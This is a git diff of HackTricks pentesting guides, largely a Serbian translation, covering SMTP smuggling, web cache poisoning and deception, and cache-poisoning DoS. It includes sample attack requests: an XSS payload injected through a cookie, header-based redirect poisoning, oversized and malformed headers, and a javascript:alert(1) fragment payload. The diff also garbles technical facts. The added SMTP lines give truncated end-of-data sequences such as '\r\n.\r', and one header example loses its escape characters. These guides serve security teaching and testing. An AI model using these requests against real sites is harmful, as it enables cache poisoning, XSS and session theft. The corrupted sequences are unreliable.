diff --git a/.gitbook/assets/image (1250).png b/.gitbook/assets/image (1250).png new file mode 100644 index 000000000..5cdaa3f27 Binary files /dev/null and b/.gitbook/assets/image (1250).png differ diff --git a/.gitbook/assets/image (1251).png b/.gitbook/assets/image (1251).png new file mode 100644 index 000000000..ac0656bc0 Binary files /dev/null and b/.gitbook/assets/image (1251).png differ diff --git a/.gitbook/assets/image (1252).png b/.gitbook/assets/image (1252).png new file mode 100644 index 000000000..a526a8805 Binary files /dev/null and b/.gitbook/assets/image (1252).png differ diff --git a/.gitbook/assets/image (1253).png b/.gitbook/assets/image (1253).png new file mode 100644 index 000000000..7dd3a1a71 Binary files /dev/null and b/.gitbook/assets/image (1253).png differ diff --git a/SUMMARY.md b/SUMMARY.md index f9518a74c..87eee4342 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -531,6 +531,7 @@ * [Bypass Payment Process](pentesting-web/bypass-payment-process.md) * [Captcha Bypass](pentesting-web/captcha-bypass.md) * [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md) + * [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md) * [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md) * [Clickjacking](pentesting-web/clickjacking.md) * [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md) diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index 0d6e5e9bd..268ee09cc 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -1,8 +1,8 @@ # SMTP Smuggling {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,39 +15,39 @@ Learn & practice GCP Hacking: {% endhint %} -## Basic Information +## Osnovne informacije Ova vrsta ranjivosti je [**prvobitno otkrivena u ovom postu**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) gde je objašnjeno da je moguće **iskoristiti razlike u tome kako se SMTP protokol interpretira** prilikom finalizacije e-pošte, omogućavajući napadaču da prokrijumčari više e-poruka u telu legitimne, omogućavajući mu da se lažno predstavi kao drugi korisnici pogođenog domena (kao što je admin@outlook.com) zaobilazeći odbrane kao što je SPF. -### Why +### Zašto -To je zato što u SMTP protokolu, **podaci poruke** koji se šalju u e-pošti kontroliše korisnik (napadač) koji može poslati posebno oblikovane podatke koristeći razlike u parserima koji će prokrijumčariti dodatne e-poruke u receptor. Pogledajte ovaj ilustrovani primer iz originalnog posta: +To je zato što u SMTP protokolu, **podaci poruke** koji se šalju u e-pošti kontroliše korisnik (napadač) koji može poslati posebno oblikovane podatke koristeći razlike u parserima koji će prokrijumčariti dodatne e-poruke u prijemniku. Pogledajte ovaj ilustrovani primer iz originalnog posta:

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

-### How +### Kako -Da bi iskoristio ovu ranjivost, napadač treba da pošalje neke podatke koje **Outbound SMPT server misli da je samo 1 e-poruka, ali Inbound SMTP server misli da postoji nekoliko e-poruka**. +Da bi iskoristio ovu ranjivost, napadač treba da pošalje neke podatke koje **Outbound SMTP server misli da je samo 1 e-poruka, ali Inbound SMTP server misli da postoji nekoliko e-poruka**. -Istraživači su otkrili da različiti **Inboud serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Outbound serveri ne smatraju.\ -Na primer, regularan kraj podataka je `\r\n.\r\n`. Ali ako Inbound SMTP server takođe podržava `\n.\n`, napadač može jednostavno dodati **te podatke u svoju e-poštu i početi da označava SMTP komande** novih e-poruka kako bi ih prokrijumčario, baš kao u prethodnoj slici. +Istraživači su otkrili da različiti **Inbound serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Outbound serveri ne smatraju.\ +Na primer, regularan kraj podataka je `\r\n.\r`. Ali ako Inbound SMTP server takođe podržava `\n.`, napadač može jednostavno dodati **te podatke u svoju e-poštu i početi da označava SMTP komande** novih e-poruka kako bi ih prokrijumčario, baš kao u prethodnoj slici. Naravno, ovo može raditi samo ako **Outbound SMTP server ne tretira te podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-poruke umesto samo 1, tako da je na kraju ovo desinkronizacija koja se zloupotrebljava u ovoj ranjivosti. Potencijalni podaci za desinkronizaciju: -* `\n.\n` -* `\n.\r\n` +* `\n.` +* `\n.\r` Takođe, imajte na umu da se SPF zaobilazi jer ako prokrijumčarite e-poruku od `admin@outlook.com` iz e-poruke od `user@outlook.com`, **pošiljalac je i dalje `outlook.com`.** -## **References** +## **Reference** * [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/cache-deception/README.md b/pentesting-web/cache-deception/README.md index 357a171ae..6fd9c61b1 100644 --- a/pentesting-web/cache-deception/README.md +++ b/pentesting-web/cache-deception/README.md @@ -1,8 +1,8 @@ # Cache Poisoning and Cache Deception {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -18,7 +18,7 @@ Learn & practice GCP Hacking:
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ +Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} @@ -32,21 +32,21 @@ Get Access Today: ## Cache Poisoning -Cache poisoning je usmeren na manipulaciju kešom na strani klijenta kako bi se klijenti primorali da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša. +Cache poisoning je usmeren na manipulaciju kešom na strani klijenta kako bi se primorali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša. Izvršenje napada cache poisoning uključuje nekoliko koraka: 1. **Identifikacija neključenih ulaza**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom. -2. **Eksploatacija neključenih ulaza**: Nakon identifikacije neključenih ulaza, sledeći korak uključuje pronalaženje načina kako da se ovi parametri zloupotrebe da bi se izmenio odgovor servera na način koji koristi napadaču. +2. **Eksploatacija neključenih ulaza**: Nakon identifikacije neključenih ulaza, sledeći korak uključuje pronalaženje načina kako da se zloupotrebe ovi parametri kako bi se izmenio odgovor servera na način koji koristi napadaču. 3. **Osiguranje da je kontaminirani odgovor keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na ovaj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran će primiti kontaminirani odgovor. ### Discovery: Check HTTP headers Obično, kada je odgovor **sačuvan u kešu**, biće **zaglavlje koje to označava**, možete proveriti koja zaglavlja treba da obratite pažnju u ovom postu: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Discovery: Caching error codes +### Discovery: Caching error codes -Ako mislite da se odgovor čuva u kešu, možete pokušati da **pošaljete zahteve sa lošim zaglavljem**, na koje bi trebalo da se odgovori sa **status kodom 400**. Zatim pokušajte da pristupite zahtevu normalno i ako je **odgovor status kod 400**, znate da je ranjiv (i čak možete izvršiti DoS). +Ako mislite da se odgovor čuva u kešu, mogli biste pokušati da **pošaljete zahteve sa lošim zaglavljem**, na koje bi trebalo da se odgovori sa **status kodom 400**. Zatim pokušajte da pristupite zahtevu normalno i ako je **odgovor status kod 400**, znate da je ranjiv (i mogli biste čak izvršiti DoS). Možete pronaći više opcija u: @@ -54,11 +54,11 @@ Možete pronaći više opcija u: [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} -Međutim, imajte na umu da **ponekad ovi status kodovi nisu keširani**, tako da ovaj test možda neće biti pouzdan. +Međutim, imajte na umu da **ponekad ovi tipovi status kodova nisu keširani**, tako da ovaj test možda neće biti pouzdan. ### Discovery: Identify and evaluate unkeyed inputs -Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force-ujete parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle: +Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle: ```markup ``` @@ -68,11 +68,14 @@ Sa identifikovanim parametrom/hedderom proverite kako se **sanitizuje** i **gde* ### Dobijanje keširanog odgovora -Kada ste **identifikovali** **stranicu** koja se može zloupotrebiti, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.\ +Kada ste **identifikovali** **stranicu** koja se može zloupotrebiti, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi. + Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\ -Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će biti sledeći put keširan: `Cache-Control: public, max-age=1800`\ -Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično neključevi. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`.\ -Još jedan heder povezan sa kešom je **`Age`**. On definiše vreme u sekundama koliko je objekat bio u proxy kešu. +Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800` + +Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično neklučni. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`. + +Još jedan heder povezan sa kešom je **`Age`**. Definiše vreme u sekundama koliko je objekat bio u proxy kešu. Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od njih mogu biti **nepredviđeno korišćeni** kao **ključni** i **žrtva će morati da koristi taj isti heder**. Uvek **testirajte** Cache Poisoning sa **različitim pretraživačima** da proverite da li funkcioniše. @@ -97,7 +100,7 @@ _Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_ ### Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima -Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih iskoristite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni odgovor iz keša. +Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da to iskoristite da izazovete XSS, na primer, mogli biste da iskoristite XSS u nekoliko klijenata koji učitavaju zlonamerni odgovor iz keša. ```markup GET / HTTP/1.1 Host: vulnerable.com @@ -105,13 +108,27 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` Napomena da ako je ranjavi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš. -### Zagađenje keša sa pretragom putanje za krađu API ključa +### Generisanje razlika sa delimiterima, normalizacijom i tačkama -[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez normalizacije URL-a od strane Cloudflare-a, što je učinjeno kada je zahtev stigao do veb servera. +Proverite: -### Korišćenje više zaglavlja za iskorišćavanje ranjivosti zagađenja veb keša +{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} +[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md) +{% endcontent-ref %} -Ponekad će biti potrebno da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem. +### Trovanje keša sa prolazom kroz putanju za krađu API ključa + +[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera. + +Ovo je takođe bolje objašnjeno u: + +{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} +[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md) +{% endcontent-ref %} + +### Korišćenje više zaglavlja za eksploataciju ranjivosti trovanja web keša + +Ponekad će vam biti potrebno da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -120,7 +137,7 @@ X-Forwarded-Scheme: http ``` ### Iskorišćavanje sa ograničenim `Vary` zaglavljem -Ako ste otkrili da se **`X-Host`** zaglavlje koristi kao **ime domena za učitavanje JS resursa**, ali **`Vary`** zaglavlje u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent: +Ako ste otkrili da se **`X-Host`** zaglavlje koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** zaglavlje u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da exfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -142,7 +159,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web ### Parameter Cloacking -Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti da se unesu vrednosti neključenih parametara unutar ključnih i zloupotrebe ih. +Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -152,39 +169,27 @@ Saznajte ovde kako da izvršite [Cache Poisoning napade zloupotrebom HTTP Reques ### Automated testing for Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning. Podržava mnoge različite tehnike i veoma je prilagodljiv. +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning-a. Podržava mnoge različite tehnike i veoma je prilagodljiv. Primer korišćenja: `wcvs -u example.com` - - -
- -\ -Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\ -Pribavite pristup danas: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} - - - ## Vulnerable Examples ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat na backend kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit. +ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit. ### GitHub CP-DoS -Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautentifikovane korisnike. +Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautorizovane korisnike. ### GitLab + GCP CP-DoS -GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`. +GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`. ### Rack Middleware (Ruby on Rails) -U Ruby on Rails aplikacijama, često se koristi Rack middleware. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, potencijalno uzrokujući Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može priznati `X-forwarded-host` header i preusmeriti korisnike na navedeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, predstavljajući sigurnosni rizik. +U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, što može izazvati Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može prepoznati `X-forwarded-host` header i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik. ### 403 and Storage Buckets @@ -192,11 +197,11 @@ Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Stora ### Injecting Keyed Parameters -Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backenda. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom. +Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly-ov Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali do njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom. ### User Agent Rules -Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su keširanje i DoS. +Neki programeri blokiraju zahteve sa user-agentima koji se poklapaju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su keširanje i DoS. ### Illegal Header Fields @@ -208,7 +213,7 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v ## Cache Deception -Cilj Cache Deception-a je da natera klijente da **učitavaju resurse koji će biti sačuvani od strane keša sa njihovim osetljivim informacijama**. +Cilj Cache Deception-a je da natera klijente **da učitaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama**. Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay-uje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika. @@ -225,7 +230,7 @@ Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackeron U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\ Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili. -Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što se očekuje za _.css_ datoteku). +Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku). Saznajte ovde kako da izvršite [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). @@ -245,22 +250,22 @@ Saznajte ovde kako da izvršite [Cache Deceptions napade zloupotrebom HTTP Reque
\ -Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\ -Pribavite pristup danas: +Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ +Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} {% hint style="success" %} -Saznajte i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Saznajte i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Podržite HackTricks +Support HackTricks -* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/pentesting-web/cache-deception/cache-poisoning-to-dos.md index fecc063c1..db2407083 100644 --- a/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -1,8 +1,8 @@ # Cache Poisoning to DoS {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -21,7 +21,7 @@ Na ovoj stranici možete pronaći različite varijacije koje možete isprobati d * **HTTP Header Oversize (HHO)** -Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava web server, ali manjom od one koju podržava cache server. Web server će odgovoriti sa 400 odgovorom koji može biti keširan: +Pošaljite zahtev sa veličinom headera većom od one koju podržava web server, ali manjom od one koju podržava cache server. Web server će odgovoriti sa 400 odgovorom koji može biti keširan: ``` GET / HTTP/1.1 Host: redacted.com @@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000 ``` * **HTTP Meta Character (HMC) & Unexpected values** -Pošaljite zaglavlje koje sadrži neke **štetne meta karaktere** kao što su `\n` i `\r`. Da bi napad uspeo, prvo morate da zaobiđete keš. +Pošaljite zaglavlje koje sadrži neke **štetne meta karaktere** kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš. ``` GET / HTTP/1.1 Host: redacted.com @@ -45,7 +45,7 @@ Content-Type: HelloWorld ``` * **Unkeyed header** -Neki vebsajti će vratiti kod greške ako **vide neke specifične zaglavlja** u zahtevu kao što je sa _X-Amz-Website-Location-Redirect: someThing_ zaglavljem: +Neki veb sajtovi će vratiti kod greške ako **vide neke specifične zaglavlja** u zahtevu kao što je sa _X-Amz-Website-Location-Redirect: someThing_ zaglavljem: ``` GET /app.js HTTP/2 Host: redacted.com @@ -58,7 +58,7 @@ Invalid Header ``` * **HTTP Method Override Attack (HMO)** -Ako server podržava promenu HTTP metode sa zaglavljima kao što su `X-HTTP-Method-Override`, `X-HTTP-Method` ili `X-Method-Override`. Moguće je zatražiti važeću stranicu menjajući metodu tako da server ne podržava, tako da se loš odgovor kešira: +Ako server podržava promenu HTTP metode 